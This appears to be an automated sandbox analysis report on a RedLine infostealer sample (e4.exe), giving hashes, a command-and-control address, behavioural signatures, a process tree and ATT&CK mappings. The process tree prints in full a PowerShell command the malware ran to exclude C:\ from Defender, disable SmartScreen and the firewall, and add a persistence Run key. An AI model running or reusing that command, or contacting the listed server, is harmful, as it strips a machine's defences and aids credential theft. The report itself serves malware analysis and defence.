Analysis

  • max time kernel
    152s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220722-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-08-2022 11:35

General

  • Target

    e4.exe

  • Size

    4.5MB

  • MD5

    5c371f2d51427f39d793c6df8487346c

  • SHA1

    8bbc4272d6e36abf84a0d4fac47d49b690bfacdf

  • SHA256

    e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48

  • SHA512

    2f0d208bb52a44a085a9aa32169ba75ae3b5de2a552b2196532e59527eb7a0deb16fd87cc7363d7ec82627fdaba4ecf227bf2dd6da6331202a976a07c723ca34

Malware Config

Extracted

Family

redline

Botnet

1488

C2

46.21.250.111:65367

Attributes
  • auth_value

    e1f55d6c61f97af563fc8c06a2c97666

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 11 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 51 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e4.exe
    "C:\Users\Admin\AppData\Local\Temp\e4.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3376
    • C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
      "C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks computer location settings
      • Drops startup file
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
        3⤵
        • Modifies security service
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\ProgramData\UpSys.exe
          "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3704
          • C:\ProgramData\UpSys.exe
            "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2300
            • C:\ProgramData\UpSys.exe
              "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
              6⤵
              • Executes dropped EXE
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:3956
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                7⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4564
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
          4⤵
          • Modifies Windows Firewall
          PID:1512
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3440

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Modify Existing Service

2
T1031

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

2
T1112

Virtualization/Sandbox Evasion

1
T1497

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

4
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

4
T1082

Collection

Data from Local System

2
T1005

Command and Control

Web Service

1
T1102

Replay Monitor

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Downloads

  • C:\ProgramData\MicrosoftNetwork\System.exe
    Filesize

    3.4MB

    MD5

    55a6d22be09d762103ae315f97b58561

    SHA1

    f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

    SHA256

    41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

    SHA512

    4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

  • C:\ProgramData\UpSys.exe
    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\ProgramData\UpSys.exe
    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\ProgramData\UpSys.exe
    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\ProgramData\UpSys.exe
    Filesize

    923KB

    MD5

    efe5769e37ba37cf4607cb9918639932

    SHA1

    f24ca204af2237a714e8b41d54043da7bbe5393b

    SHA256

    5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

    SHA512

    33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

  • C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
    Filesize

    3.4MB

    MD5

    55a6d22be09d762103ae315f97b58561

    SHA1

    f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

    SHA256

    41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

    SHA512

    4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

  • C:\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
    Filesize

    3.4MB

    MD5

    55a6d22be09d762103ae315f97b58561

    SHA1

    f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

    SHA256

    41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

    SHA512

    4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

  • memory/1512-168-0x0000000000000000-mapping.dmp
  • memory/2300-169-0x0000000000000000-mapping.dmp
  • memory/3376-146-0x0000000006340000-0x00000000063B6000-memory.dmp
    Filesize

    472KB

  • memory/3376-142-0x00000000007D0000-0x00000000012A2000-memory.dmp
    Filesize

    10.8MB

  • memory/3376-145-0x00000000069F0000-0x0000000006A82000-memory.dmp
    Filesize

    584KB

  • memory/3376-132-0x00000000007D0000-0x00000000012A2000-memory.dmp
    Filesize

    10.8MB

  • memory/3376-147-0x0000000006C20000-0x0000000006C3E000-memory.dmp
    Filesize

    120KB

  • memory/3376-148-0x0000000006E90000-0x0000000006EF6000-memory.dmp
    Filesize

    408KB

  • memory/3376-149-0x0000000009320000-0x0000000009370000-memory.dmp
    Filesize

    320KB

  • memory/3376-150-0x0000000008C80000-0x0000000008E42000-memory.dmp
    Filesize

    1.8MB

  • memory/3376-151-0x00000000098C0000-0x0000000009DEC000-memory.dmp
    Filesize

    5.2MB

  • memory/3376-135-0x00000000775B0000-0x0000000077753000-memory.dmp
    Filesize

    1.6MB

  • memory/3376-143-0x00000000775B0000-0x0000000077753000-memory.dmp
    Filesize

    1.6MB

  • memory/3376-141-0x0000000005ED0000-0x0000000005F0C000-memory.dmp
    Filesize

    240KB

  • memory/3376-136-0x00000000007D0000-0x00000000012A2000-memory.dmp
    Filesize

    10.8MB

  • memory/3376-144-0x0000000006FA0000-0x0000000007544000-memory.dmp
    Filesize

    5.6MB

  • memory/3376-157-0x00000000007D0000-0x00000000012A2000-memory.dmp
    Filesize

    10.8MB

  • memory/3376-137-0x00000000007D0000-0x00000000012A2000-memory.dmp
    Filesize

    10.8MB

  • memory/3376-159-0x00000000775B0000-0x0000000077753000-memory.dmp
    Filesize

    1.6MB

  • memory/3376-138-0x00000000063D0000-0x00000000069E8000-memory.dmp
    Filesize

    6.1MB

  • memory/3376-139-0x0000000005E70000-0x0000000005E82000-memory.dmp
    Filesize

    72KB

  • memory/3376-140-0x0000000005FA0000-0x00000000060AA000-memory.dmp
    Filesize

    1.0MB

  • memory/3704-166-0x0000000000000000-mapping.dmp
  • memory/3956-171-0x0000000000000000-mapping.dmp
  • memory/4564-174-0x0000000000000000-mapping.dmp
  • memory/4564-181-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp
    Filesize

    10.8MB

  • memory/4564-178-0x000001ABDC130000-0x000001ABDC1A6000-memory.dmp
    Filesize

    472KB

  • memory/4564-177-0x000001ABDC060000-0x000001ABDC0A4000-memory.dmp
    Filesize

    272KB

  • memory/4564-176-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp
    Filesize

    10.8MB

  • memory/4580-160-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp
    Filesize

    9.3MB

  • memory/4580-156-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp
    Filesize

    9.3MB

  • memory/4580-155-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp
    Filesize

    9.3MB

  • memory/4580-152-0x0000000000000000-mapping.dmp
  • memory/4580-158-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp
    Filesize

    9.3MB

  • memory/4580-161-0x00007FFC8A170000-0x00007FFC8A365000-memory.dmp
    Filesize

    2.0MB

  • memory/4580-179-0x00007FF6F60D0000-0x00007FF6F6A28000-memory.dmp
    Filesize

    9.3MB

  • memory/4580-180-0x00007FFC8A170000-0x00007FFC8A365000-memory.dmp
    Filesize

    2.0MB

  • memory/4640-175-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp
    Filesize

    10.8MB

  • memory/4640-164-0x00007FFC6AC10000-0x00007FFC6B6D1000-memory.dmp
    Filesize

    10.8MB

  • memory/4640-162-0x0000000000000000-mapping.dmp
  • memory/4640-163-0x000001F3F7EA0000-0x000001F3F7EC2000-memory.dmp
    Filesize

    136KB